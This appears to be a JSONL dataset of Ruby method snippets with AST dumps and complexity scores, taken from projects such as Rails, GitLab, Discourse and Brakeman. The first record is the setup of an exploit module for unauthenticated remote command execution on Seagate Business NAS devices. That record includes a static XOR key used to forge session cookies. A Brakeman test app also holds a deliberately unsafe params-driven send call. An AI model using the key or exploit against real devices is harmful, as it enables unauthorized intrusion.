=> UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Path to the application root', '/']),\n      OptString.new('ADMINACCOUNT', [true, 'Name of the NAS admin account', 'admin']),\n      OptString.new('COOKIEID', [true, 'ID of the CodeIgniter session cookie', 'ci_session']),\n      OptString.new('XORKEY', [true, 'XOR Key used for the CodeIgniter session', '0f0a000d02011f0248000d290d0b0b0e03010e07'])\n    ])\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Seagate Business NAS Unauthenticated Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Some Seagate Business NAS devices are vulnerable to command execution via a local\\n\"]},{\"type\":\"str\",\"children\":[\"          file include vulnerability hidden in the language parameter of the CodeIgniter\\n\"]},{\"type\":\"str\",\"children\":[\"          session cookie. The vulnerability manifests in the way the language files are\\n\"]},{\"type\":\"str\",\"children\":[\"          included in the code on the login page, and hence is open to attack from users\\n\"]},{\"type\":\"str\",\"children\":[\"          without the need for authentication. The cookie can be easily decrypted using a\\n\"]},{\"type\":\"str\",\"children\":[\"          known static encryption key and re-encrypted once the PHP object string has been\\n\"]},{\"type\":\"str\",\"children\":[\"          modified.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested on the STBN300 device.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OJ Reeves <oj[at]beyondbinary.io>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-8684\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-8686\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-8687\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"36202\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://web.archive.org/web/20150806124553/https://beyondbinary.io/advisory/seagate-nas-rce/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-03-01\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to the application root\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ADMINACCOUNT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Name of the NAS admin account\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"COOKIEID\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"ID of the CodeIgniter session cookie\"]},{\"type\":\"str\",\"children\":[\"ci_session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"XORKEY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"XOR Key used for the CodeIgniter session\"]},{\"type\":\"str\",\"children\":[\"0f0a000d02011f0248000d290d0b0b0e03010e07\"]}]}]}]}]}]}]}","id":"5953f4f1-78a3-4765-92e9-edf0e975589e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/app/controllers/home_controller.rb","start_line":100,"raw_source":"def test_send_second_param\n    method = params[\"method\"] == 1 ? :method_a : :method_b\n    @result = User.send(method, *args)\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_send_second_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"method\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"sym\",\"children\":[\"method_a\"]},{\"type\":\"sym\",\"children\":[\"method_b\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"args\"]}]}]}]}]}]}","id":"925ac04c-dc68-40e7-b8af-ff46c31d35c6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/rules_controller.rb","start_line":7,"raw_source":"def index\n      authorize :rule, :index?\n\n      @rules = Rule.ordered.includes(:translations)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"rule\"]},{\"type\":\"sym\",\"children\":[\"index?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rules\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rule\"]},\"ordered\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"translations\"]}]}]}]}]}","id":"2be3f553-edf4-417b-95b1-b8c0ac82bb38"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-subscriptions/app/controllers/discourse_subscriptions/admin/subscriptions_controller.rb","start_line":14,"raw_source":"def index\n        begin\n          subscription_ids = Subscription.all.pluck(:external_id)\n          subscriptions = {\n            has_more: false,\n            data: [],\n            length: 0,\n            last_record: params[:last_record],\n          }\n\n          if subscription_ids.present? && is_stripe_configured?\n            while subscriptions[:length] < PAGE_LIMIT\n              current_set = get_subscriptions(subscriptions[:last_record])\n\n              until valid_subscriptions =\n                      find_valid_subscriptions(current_set[:data], subscription_ids)\n                current_set = get_subscriptions(current_set[:data].last)\n                break if current_set[:has_more] == false\n              end\n\n              subscriptions[:data] = subscriptions[:data].concat(valid_subscriptions.to_a)\n              subscriptions[:last_record] = current_set[:data].last[:id] if current_set[\n                :data\n              ].present?\n              subscriptions[:length] = subscriptions[:data].length\n              subscriptions[:has_more] = current_set[:has_more]\n              break if subscriptions[:has_more] == false\n            end\n          elsif !is_stripe_configured?\n            subscriptions = nil\n          end\n\n          render_json_dump subscriptions\n        rescue ::Stripe::InvalidRequestError => e\n          render_json_error e.message\n        end\n      end","complexity_score":82.5,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscription_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscription\"]},\"all\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"external_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriptions\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_more\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_record\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription_ids\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"is_stripe_configured?\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"length\"]}]},\"<\",{\"type\":\"const\",\"children\":[null,\"PAGE_LIMIT\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_set\",{\"type\":\"send\",\"children\":[null,\"get_subscriptions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"last_record\"]}]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid_subscriptions\",{\"type\":\"send\",\"children\":[null,\"find_valid_subscriptions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_set\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"subscription_ids\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_set\",{\"type\":\"send\",\"children\":[null,\"get_subscriptions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_set\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"last\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_set\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"has_more\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid_subscriptions\"]},\"to_a\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_set\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"last_record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_set\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"last\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"has_more\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_set\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"has_more\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriptions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"has_more\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_stripe_configured?\"]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"subscriptions\",{\"type\":\"nil\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"lvar\",\"children\":[\"subscriptions\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Stripe\"]},\"InvalidRequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}]}","id":"5648ab11-1d62-49c0-9e1b-7d19f997970b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/webpack/dev_server_middleware.rb","start_line":19,"raw_source":"def perform_request(env)\n        if @proxy_path && env['PATH_INFO'].start_with?(\"/#{@proxy_path}\")\n          # disable SSL check since any cert used here will likely be self-signed\n          env['rack.ssl_verify_none'] = true\n\n          # ensure we pass the expected Host header so webpack-dev-server doesn't complain\n          env['HTTP_HOST'] = \"#{@proxy_host}:#{@proxy_port}\"\n\n          if relative_url_root = Rails.application.config.relative_url_root\n            env['SCRIPT_NAME'] = \"\"\n            env['REQUEST_PATH'].sub!(/\\A#{Regexp.escape(relative_url_root)}/, '')\n          end\n\n          super(env)\n        else\n          @app.call(env)\n        end\n      end","complexity_score":21.7,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxy_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]}]},\"start_with?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxy_path\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"rack.ssl_verify_none\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"HTTP_HOST\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxy_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@proxy_port\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relative_url_root\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"relative_url_root\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"SCRIPT_NAME\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"REQUEST_PATH\"]}]},\"sub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"relative_url_root\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"013feaa2-2f34-4ebf-ba7f-5319f1aa6f19"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/check_constraint_test.rb","start_line":364,"raw_source":"def test_remove_check_constraint_should_be_noop\n          assert_nothing_raised do\n            @connection.remove_check_constraint :products, name: \"price_check\"\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_check_constraint_should_be_noop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"remove_check_constraint\",{\"type\":\"sym\",\"children\":[\"products\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"price_check\"]}]}]}]}]}]}","id":"0c9a8d82-cf02-4e06-bf23-0b8d3c2ab821"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/report_generation.rb","start_line":36,"raw_source":"def test_codeclimate_sanity\n    report = @@report.to_codeclimate\n\n    assert report.is_a? String\n    refute report.include? Dir.pwd # Ensure output does not include absolute paths\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_codeclimate_sanity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@report\"]},\"to_codeclimate\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]}]}]}]}]}","id":"e06d9325-99be-4a9f-ab84-49abb9266111"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/representation/diff_note.rb","start_line":149,"raw_source":"def on_file?\n          subject_type == 'file'\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_file?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"file\"]}]}]}","id":"ad83ad85-3611-4dca-8b68-cb94359d89b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encrypted_configuration.rb","start_line":42,"raw_source":"def read\n      if active?\n        decrypt(content_path.binread)\n      else\n        \"\"\n      end\n    end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"read\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active?\"]},{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_path\"]},\"binread\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"507f936a-4027-43ff-86ff-31a0a797e65a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/render_test.rb","start_line":708,"raw_source":"def test_render_partial_provides_spellcheck\n    e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: \"test/partail\") }\n    assert_match %r{Did you mean\\?  test/partial\\e\\[m\\n\\e\\[1m *test/partialhtml}, e.detailed_message\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_provides_spellcheck\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"MissingTemplate\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/partail\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Did you mean\\\\?  test/partial\\\\e\\\\[m\\\\n\\\\e\\\\[1m *test/partialhtml\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"detailed_message\"]}]}]}]}","id":"6eb04c3f-5842-4d9a-9175-56c39e6fa821"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/stage_query_helpers.rb","start_line":7,"raw_source":"def execute_query(query)\n          ApplicationRecord.connection.execute(query.to_sql)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"to_sql\"]}]}]}","id":"4a6eb54d-13a5-4491-a8ca-a18704df1151"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/client.rb","start_line":230,"raw_source":"def resend_invite_to_external_tester(app_id: nil, tester_id: nil)\n        assert_required_params(__method__, binding)\n        url = \"/testflight/v1/invites/#{app_id}/resend?testerId=#{tester_id}\"\n        response = request(:post, url)\n        handle_response(response)\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resend_invite_to_external_tester\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"app_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"tester_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_required_params\",{\"type\":\"send\",\"children\":[null,\"__method__\"]},{\"type\":\"send\",\"children\":[null,\"binding\"]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/testflight/v1/invites/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app_id\"]}]},{\"type\":\"str\",\"children\":[\"/resend?testerId=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tester_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"4c64075c-0277-4785-b950-80a032e14524"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/code_statistics.rb","start_line":115,"raw_source":"def calculate_tests\n        test_loc = 0\n        @statistics.each { |k, v| test_loc += v.code_lines if test_types.include? k }\n        test_loc\n      end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_tests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_loc\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statistics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_types\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"test_loc\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"code_lines\"]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"test_loc\"]}]}]}","id":"b35a306c-68ae-49cf-a183-77feda6a8747"}
